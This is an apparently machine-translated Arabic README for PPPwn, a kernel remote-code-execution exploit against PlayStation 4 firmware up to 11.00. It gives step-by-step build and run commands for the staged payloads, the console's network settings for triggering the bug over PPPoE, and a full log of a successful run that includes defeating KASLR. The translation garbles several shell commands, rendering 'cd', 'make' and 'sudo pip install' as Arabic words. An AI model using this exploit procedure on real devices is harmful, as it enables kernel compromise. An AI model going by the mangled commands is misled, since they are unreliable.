PPPwn عبارة عن استغلال لتنفيذ تعليمات برمجية عن بعد لـ kernel لجهاز PlayStation 4 حتى FW 11.00. يعد هذا استغلالًا لإثبات صحة المفهوم لـ CVE-2006-4304 والذي تم الإبلاغ عنه بشكل مسؤول إلى PlayStation.
الإصدارات المدعومة هي:
مهاجم 7.00 / 7.01 / 7.02
مهاجم 7.50 / 7.51 / 7.55
مهاجم 8.00 / 8.01 / 8.03
مهاجم 8.50 / 8.52
مهاجم 9.00
مهاجم 9.03 / 9.04
مهاجم 9.50 / 9.51 / 9.60
مهاجم 10.00 / 10.01
مهاجم 10.50 / 10.70 / 10.71
مهاجم 11.00
يمكن إضافة المزيد (نرحب بالعلاقات العامة)
يقوم هذا الاستغلال بطباعة PPPwned
فقط على جهاز PS4 الخاص بك كدليل على المفهوم. من أجل تشغيل Mira أو أدوات تمكين البيرة المنزلية المماثلة، يجب تعديل حمولة stage2.bin
.
جهاز كمبيوتر مزود بمنفذ إيثرنت
يعمل محول USB أيضًا
كابل إيثرنت
لينكس
يمكنك استخدام VirtualBox لإنشاء Linux VM مع Bridged Adapter
كمحول شبكة لاستخدام منفذ إيثرنت في VM.
تم تثبيت Python3 و gcc
على جهاز الكمبيوتر الخاص بك، قم باستنساخ المستودع:
git clone --recursive https://github.com/TheOfficialFloW/PPPwn
قم بتغيير الدليل إلى المستودع المستنسخ:
مؤتمر نزع السلاح PPwn
تثبيت المتطلبات:
سودو نقطة تثبيت -r متطلبات.txt
تجميع الحمولات:
جعل -C Stage1 FW = 1100 نظيف && جعل -C Stage1 FW = 1100 جعل -C Stage2 FW=1100 نظيف && جعل -C Stage2 FW=1100
بالنسبة للبرامج الثابتة الأخرى، على سبيل المثال FW 9.00، قم بتمرير FW=900
.
لا تقم بتشغيل الثغرة حتى الآن (لا تضغط على Enter بعد) ولكن قم بإعداد هذا الأمر في الموجه الخاص بك (راجع ifconfig
لمعرفة الواجهة الصحيحة):
Sudo python3 pppwn.py --interface=enp0s3 --fw=1100
بالنسبة للبرامج الثابتة الأخرى، على سبيل المثال FW 9.00، قم بتمرير --fw=900
.
على جهاز PS4 الخاص بك:
انتقل إلى Settings
ثم Network
حدد Set Up Internet connection
واختر Use a LAN Cable
اختر إعداد Custom
واختر PPPoE
IP Address Settings
أدخل أي شيء PPPoE User ID
وكلمة PPPoE Password
اختر Automatic
DNS Settings
MTU Settings
اختر Do Not Use
Proxy Server
الآن، اضغط في نفس الوقت على الزر "X" الموجود على وحدة التحكم الخاصة بك في Test Internet Connection
و"Enter" على لوحة المفاتيح (على جهاز الكمبيوتر لديك برنامج Python البرمجي جاهز للتشغيل).
انتظر دائمًا حتى تظهر وحدة التحكم الرسالة "لا يمكن الاتصال بالشبكة: (NW-31274-7)" قبل محاولة حقن PPPOE مرة أخرى.
إذا فشل الاستغلال أو تعطل جهاز PS4، فيمكنك تخطي إعداد الإنترنت والنقر ببساطة على Test Internet Connection
. قم بإنهاء البرنامج النصي pppwn.py
وتشغيله مرة أخرى على جهاز الكمبيوتر الخاص بك، ثم انقر فوق Test Internet Connection
على جهاز PS4 الخاص بك: دائمًا في وقت واحد.
إذا نجح الاستغلال، فيجب أن ترى مخرجات مشابهة لما يلي، ويجب أن ترى Cannot connect to network.
متبوعًا بـ PPPwned
المطبوع على جهاز PS4 الخاص بك، أو العكس.
[+] PPPwn - بلاي ستيشن 4 PPPoE RCE من theflow [+] الحجج: واجهة=enp0s3 fw=1100 Stage1=stage1/stage1.bin Stage2=stage2/stage2.bin [+] المرحلة 0: التهيئة [*] في انتظار PADI... [+] pppoe_softc: 0xffffabd634beba00 [+] MAC المستهدف: xx:xx:xx:xx:xx:xx [+] المصدر MAC: 07:ba:be:34:d6:ab [+] طول ملف تعريف الارتباط AC: 0x4e0 [*] جارٍ إرسال PADO... [*] في انتظار PADR... [*] إرسال الوسادات... [*] في انتظار طلب تكوين LCP... [*] إرسال LCP تكوين ACK... [*] جارٍ إرسال طلب تكوين LCP... [*] في انتظار تكوين LCP ACK... [*] في انتظار طلب تكوين IPCP... [*] إرسال تكوين IPCP NAK... [*] في انتظار طلب تكوين IPCP... [*] إرسال IPCP تكوين ACK... [*] جارٍ إرسال طلب تكوين IPCP... [*] في انتظار تكوين IPCP ACK... [*] في انتظار أن تصبح الواجهة جاهزة... [+] الهدف IPv6: fe80::2d9:d1ff:febc:83e4 [+] الاستمالة كومة...تم [+] المرحلة 1: تلف الذاكرة [+] التثبيت على وحدة المعالجة المركزية 0... تم [*] إرسال طلب تكوين LCP ضار... [*] في انتظار طلب تكوين LCP... [*] إرسال LCP تكوين ACK... [*] جارٍ إرسال طلب تكوين LCP... [*] في انتظار تكوين LCP ACK... [*] في انتظار طلب تكوين IPCP... [*] إرسال تكوين IPCP NAK... [*] في انتظار طلب تكوين IPCP... [*] إرسال IPCP تكوين ACK... [*] جارٍ إرسال طلب تكوين IPCP... [*] في انتظار تكوين IPCP ACK... [+] جارٍ البحث عن كائن تالف...تم العثور على fe80::0fdf:4141:4141:4141 [+] المرحلة الثانية: هزيمة KASLR [*] هزيمة كاسلر... [+] قائمة pppoe_softc_list: 0xffffffff884de578 [+] kaslr_offset: 0x3ffc000 [+] المرحلة 3: تنفيذ التعليمات البرمجية عن بعد [*] جارٍ إرسال طلب إنهاء LCP... [*] في انتظار PADI... [+] pppoe_softc: 0xffffabd634beba00 [+] MAC المستهدف: xx:xx:xx:xx:xx:xx [+] المصدر MAC: 97:df:ea:86:ff:ff [+] طول ملف تعريف الارتباط AC: 0x511 [*] جارٍ إرسال PADO... [*] في انتظار PADR... [*] إرسال الوسادات... [*] تفعيل تنفيذ التعليمات البرمجية... [*] في انتظار استئناف المرحلة الأولى... [*] جارٍ إرسال PADT... [*] في انتظار PADI... [+] pppoe_softc: 0xffffabd634be9200 [+] MAC المستهدف: xx:xx:xx:xx:xx:xx [+] طول ملف تعريف الارتباط AC: 0x0 [*] جارٍ إرسال PADO... [*] في انتظار PADR... [*] إرسال الوسادات... [*] في انتظار طلب تكوين LCP... [*] إرسال LCP تكوين ACK... [*] جارٍ إرسال طلب تكوين LCP... [*] في انتظار تكوين LCP ACK... [*] في انتظار طلب تكوين IPCP... [*] إرسال تكوين IPCP NAK... [*] في انتظار طلب تكوين IPCP... [*] إرسال IPCP تكوين ACK... [*] جارٍ إرسال طلب تكوين IPCP... [*] في انتظار تكوين IPCP ACK... [+] المرحلة 4: التنفيذ التعسفي للحمولة النافعة [*] إرسال حمولة المرحلة الثانية... [+] انتهيت!
لن يتم تجميع الكود على Apple Silicon ويتطلب بنية AMD64. يوجد حل بديل باستخدام عامل الإرساء الذي سيقوم بإنشاء ملفات bin المطلوبة. انسخ هذا المستودع إلى نظام Mac الخاص بك، ثم قم بتشغيل ./build-macarm.sh
من مجلد الريبو. سيؤدي هذا إلى إنشاء الثنائيات لجهاز PS4 FW 1100 ووضع الملفات الضرورية في المجلدات الصحيحة. لبناء الثنائيات لإصدار مختلف، أي 900، قم بتشغيل الأمر على النحو التالي: ./build-macarm.sh 900
. بمجرد إنشائه، انسخ بنية المجلد هذه إلى Linux VM وقم بتنفيذها كما هو موضح أعلاه. تم اختبار ذلك باستخدام VMware Fusion 13.5.1، مع VM Guest كـ Ubuntu 24.04، والجهاز المضيف هو MacOS 14.4.1.